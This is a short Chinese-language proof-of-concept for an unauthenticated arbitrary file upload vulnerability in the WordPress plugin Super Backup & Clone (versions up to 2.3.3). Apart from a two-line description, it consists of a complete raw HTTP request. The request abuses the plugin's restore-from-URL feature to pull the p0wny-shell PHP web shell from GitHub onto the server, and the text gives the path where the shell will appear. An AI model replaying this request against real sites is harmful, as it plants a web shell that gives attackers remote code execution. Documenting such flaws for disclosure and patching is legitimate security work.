WP SuperBackup <= 2.3.3 - 未认证任意文件上传
Super Backup & Clone - Migrate for WordPress 插件在所有版本（直至并包括 2.3.3）中因缺少文件类型验证而存在任意文件上传漏洞。这使得未经身份验证的攻击者能够在受影响站点的服务器上上传任意文件，从而可能实现远程代码执行。
Shell 需要一段时间才会出现.... 它将出现在 /wp-content/uploads/isnapshots/shell.php
POST /wp-admin/admin.php?page=ibk_admin&tab=restore HTTP/1.1
Host: kubernetes.docker.internal:8929
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal:8929/wp-admin/admin.php?page=ibk_admin&tab=restore
Content-Type: multipart/form-data; boundary=---------------------------24461452295617717774000608677
Content-Length: 688
Origin: http://kubernetes.docker.internal:8929
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------24461452295617717774000608677
Content-Disposition: form-data; name="ibk_restore_migrate_action"
1
-----------------------------24461452295617717774000608677
Content-Disposition: form-data; name="restore_type"
restore_url
-----------------------------24461452295617717774000608677
Content-Disposition: form-data; name="restore_url"
https://raw.githubusercontent.com/flozz/p0wny-shell/refs/heads/master/shell.php
-----------------------------24461452295617717774000608677
Content-Disposition: form-data; name="upload_file"; filename=""
Content-Type: application/octet-stream
-----------------------------24461452295617717774000608677--